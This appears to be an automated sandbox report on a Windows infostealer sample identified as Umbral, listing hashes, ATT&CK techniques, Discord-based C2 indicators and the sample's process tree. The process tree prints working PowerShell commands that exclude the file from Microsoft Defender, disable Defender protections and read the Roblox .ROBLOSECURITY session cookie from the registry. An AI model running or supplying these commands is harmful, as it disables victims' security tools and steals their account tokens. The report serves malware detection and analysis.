umbral | 41c96abcb552167c939b9f2f08e59d1608a35111dca47ecc14c6b7f7dfa1dcb7

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18-02-2024 09:54

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General

Target

puutin.png.exe
Size

286KB
MD5

69ae905eb53c2480dbbaeaf0070cf597
SHA1

417e12e2cb4a86a1b76c7e4de1eee03aa3c55b91
SHA256

41c96abcb552167c939b9f2f08e59d1608a35111dca47ecc14c6b7f7dfa1dcb7
SHA512

f2700446ed7b33d233211ff8bb9072e8b78c726ea52b85e7a83ae41c006bae08f571b6f1e56f3397e99bfda7d6e87fcd0664929b80e90a806dac608b832564dc
SSDEEP

6144:GloZMCrIkd8g+EtXHkv/iD4hHr0AmB5KP/Cwhl014b8e1mu0i4e+8T:woZZL+EP8hHr0AmB5KP/Cwhl0yX91T

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1184-0-0x0000020118F00000-0x0000020118F4E000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	discord.com
28	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4744	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe
664	powershell.exe
664	powershell.exe
1820	powershell.exe
1820	powershell.exe
4164	powershell.exe
4164	powershell.exe
3308	powershell.exe
3308	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	puutin.png.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeIncreaseQuotaPrivilege	3032	wmic.exe
Token: SeSecurityPrivilege	3032	wmic.exe
Token: SeTakeOwnershipPrivilege	3032	wmic.exe
Token: SeLoadDriverPrivilege	3032	wmic.exe
Token: SeSystemProfilePrivilege	3032	wmic.exe
Token: SeSystemtimePrivilege	3032	wmic.exe
Token: SeProfSingleProcessPrivilege	3032	wmic.exe
Token: SeIncBasePriorityPrivilege	3032	wmic.exe
Token: SeCreatePagefilePrivilege	3032	wmic.exe
Token: SeBackupPrivilege	3032	wmic.exe
Token: SeRestorePrivilege	3032	wmic.exe
Token: SeShutdownPrivilege	3032	wmic.exe
Token: SeDebugPrivilege	3032	wmic.exe
Token: SeSystemEnvironmentPrivilege	3032	wmic.exe
Token: SeRemoteShutdownPrivilege	3032	wmic.exe
Token: SeUndockPrivilege	3032	wmic.exe
Token: SeManageVolumePrivilege	3032	wmic.exe
Token: 33	3032	wmic.exe
Token: 34	3032	wmic.exe
Token: 35	3032	wmic.exe
Token: 36	3032	wmic.exe
Token: SeIncreaseQuotaPrivilege	3032	wmic.exe
Token: SeSecurityPrivilege	3032	wmic.exe
Token: SeTakeOwnershipPrivilege	3032	wmic.exe
Token: SeLoadDriverPrivilege	3032	wmic.exe
Token: SeSystemProfilePrivilege	3032	wmic.exe
Token: SeSystemtimePrivilege	3032	wmic.exe
Token: SeProfSingleProcessPrivilege	3032	wmic.exe
Token: SeIncBasePriorityPrivilege	3032	wmic.exe
Token: SeCreatePagefilePrivilege	3032	wmic.exe
Token: SeBackupPrivilege	3032	wmic.exe
Token: SeRestorePrivilege	3032	wmic.exe
Token: SeShutdownPrivilege	3032	wmic.exe
Token: SeDebugPrivilege	3032	wmic.exe
Token: SeSystemEnvironmentPrivilege	3032	wmic.exe
Token: SeRemoteShutdownPrivilege	3032	wmic.exe
Token: SeUndockPrivilege	3032	wmic.exe
Token: SeManageVolumePrivilege	3032	wmic.exe
Token: 33	3032	wmic.exe
Token: 34	3032	wmic.exe
Token: 35	3032	wmic.exe
Token: 36	3032	wmic.exe
Token: SeIncreaseQuotaPrivilege	4156	wmic.exe
Token: SeSecurityPrivilege	4156	wmic.exe
Token: SeTakeOwnershipPrivilege	4156	wmic.exe
Token: SeLoadDriverPrivilege	4156	wmic.exe
Token: SeSystemProfilePrivilege	4156	wmic.exe
Token: SeSystemtimePrivilege	4156	wmic.exe
Token: SeProfSingleProcessPrivilege	4156	wmic.exe
Token: SeIncBasePriorityPrivilege	4156	wmic.exe
Token: SeCreatePagefilePrivilege	4156	wmic.exe
Token: SeBackupPrivilege	4156	wmic.exe
Token: SeRestorePrivilege	4156	wmic.exe
Token: SeShutdownPrivilege	4156	wmic.exe
Token: SeDebugPrivilege	4156	wmic.exe
Token: SeSystemEnvironmentPrivilege	4156	wmic.exe
Token: SeRemoteShutdownPrivilege	4156	wmic.exe
Token: SeUndockPrivilege	4156	wmic.exe
Token: SeManageVolumePrivilege	4156	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 4852	1184	puutin.png.exe	83
PID 1184 wrote to memory of 4852	1184	puutin.png.exe	83
PID 1184 wrote to memory of 664	1184	puutin.png.exe	86
PID 1184 wrote to memory of 664	1184	puutin.png.exe	86
PID 1184 wrote to memory of 1820	1184	puutin.png.exe	87
PID 1184 wrote to memory of 1820	1184	puutin.png.exe	87
PID 1184 wrote to memory of 4164	1184	puutin.png.exe	89
PID 1184 wrote to memory of 4164	1184	puutin.png.exe	89
PID 1184 wrote to memory of 3032	1184	puutin.png.exe	93
PID 1184 wrote to memory of 3032	1184	puutin.png.exe	93
PID 1184 wrote to memory of 4156	1184	puutin.png.exe	97
PID 1184 wrote to memory of 4156	1184	puutin.png.exe	97
PID 1184 wrote to memory of 2916	1184	puutin.png.exe	99
PID 1184 wrote to memory of 2916	1184	puutin.png.exe	99
PID 1184 wrote to memory of 3308	1184	puutin.png.exe	101
PID 1184 wrote to memory of 3308	1184	puutin.png.exe	101
PID 1184 wrote to memory of 4744	1184	puutin.png.exe	104
PID 1184 wrote to memory of 4744	1184	puutin.png.exe	104

C:\Users\Admin\AppData\Local\Temp\puutin.png.exe
"C:\Users\Admin\AppData\Local\Temp\puutin.png.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\puutin.png.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4164
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3032
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4156
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
731e9e4becec0b1ef9caad4b3562d4b4

SHA1
6dffb77aba4e92ad5bd4b7c02fdee6f328bcd457

SHA256
71c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5

SHA512
841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
e2bfebaab6d49a37238034e5df120ced

SHA1
08ca459c5905c713b399ae2907742584a2758a00

SHA256
2a0b30d235a5a184e408236d17633258802301f56dd34f0cde70f47a86c863e2

SHA512
3f21e12af59a119c5d85ca7ef683fae842deeb5e55ac5f199c97ac6fc3fec12557974366c805749b0f3e04a2189d92174002ea0e386aee5b3f45a3b396fbac59

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4a2f28ade8dd97f0adb0f71cc027c2d

SHA1
204f23cd6e8afb444711b24a77e5ad12a215042f

SHA256
feb979bbc240009176d8263f786083ea987071229008d0fdca424404b00d06ea

SHA512
729b70695712a6a19d6c5428a8dcab04acc4f8af61f620d5b049459a7c643c0d081b585beedca10d97a3ffa208106e48b5e2719972f31b695ed1956d7eff155a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itoh1mna.wyt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/664-22-0x0000024EF07C0000-0x0000024EF07D0000-memory.dmp

Filesize
64KB

Download
memory/664-21-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/664-35-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/664-33-0x0000024EF07C0000-0x0000024EF07D0000-memory.dmp

Filesize
64KB

Download
memory/1184-2-0x000002011ADB0000-0x000002011ADC0000-memory.dmp

Filesize
64KB

Download
memory/1184-80-0x000002011ADB0000-0x000002011ADC0000-memory.dmp

Filesize
64KB

Download
memory/1184-107-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/1184-85-0x0000020133650000-0x000002013365A000-memory.dmp

Filesize
40KB

Download
memory/1184-86-0x0000020133700000-0x0000020133712000-memory.dmp

Filesize
72KB

Download
memory/1184-0-0x0000020118F00000-0x0000020118F4E000-memory.dmp

Filesize
312KB

Download
memory/1184-36-0x0000020133680000-0x00000201336F6000-memory.dmp

Filesize
472KB

Download
memory/1184-37-0x0000020133600000-0x0000020133650000-memory.dmp

Filesize
320KB

Download
memory/1184-38-0x000002011ADF0000-0x000002011AE0E000-memory.dmp

Filesize
120KB

Download
memory/1184-67-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/1184-1-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/1820-41-0x0000021C56BE0000-0x0000021C56BF0000-memory.dmp

Filesize
64KB

Download
memory/1820-40-0x0000021C56BE0000-0x0000021C56BF0000-memory.dmp

Filesize
64KB

Download
memory/1820-64-0x0000021C56BE0000-0x0000021C56BF0000-memory.dmp

Filesize
64KB

Download
memory/1820-66-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/1820-39-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/3308-99-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/3308-100-0x000002567F970000-0x000002567F980000-memory.dmp

Filesize
64KB

Download
memory/3308-102-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/4164-79-0x0000026C322F0000-0x0000026C32300000-memory.dmp

Filesize
64KB

Download
memory/4164-78-0x0000026C322F0000-0x0000026C32300000-memory.dmp

Filesize
64KB

Download
memory/4164-83-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/4164-77-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/4852-19-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download
memory/4852-16-0x00000168A3E70000-0x00000168A3E80000-memory.dmp

Filesize
64KB

Download
memory/4852-15-0x00000168A3E70000-0x00000168A3E80000-memory.dmp

Filesize
64KB

Download
memory/4852-14-0x00000168A3E70000-0x00000168A3E80000-memory.dmp

Filesize
64KB

Download
memory/4852-12-0x00000168A40D0000-0x00000168A40F2000-memory.dmp

Filesize
136KB

Download
memory/4852-13-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp

Filesize
10.8MB

Download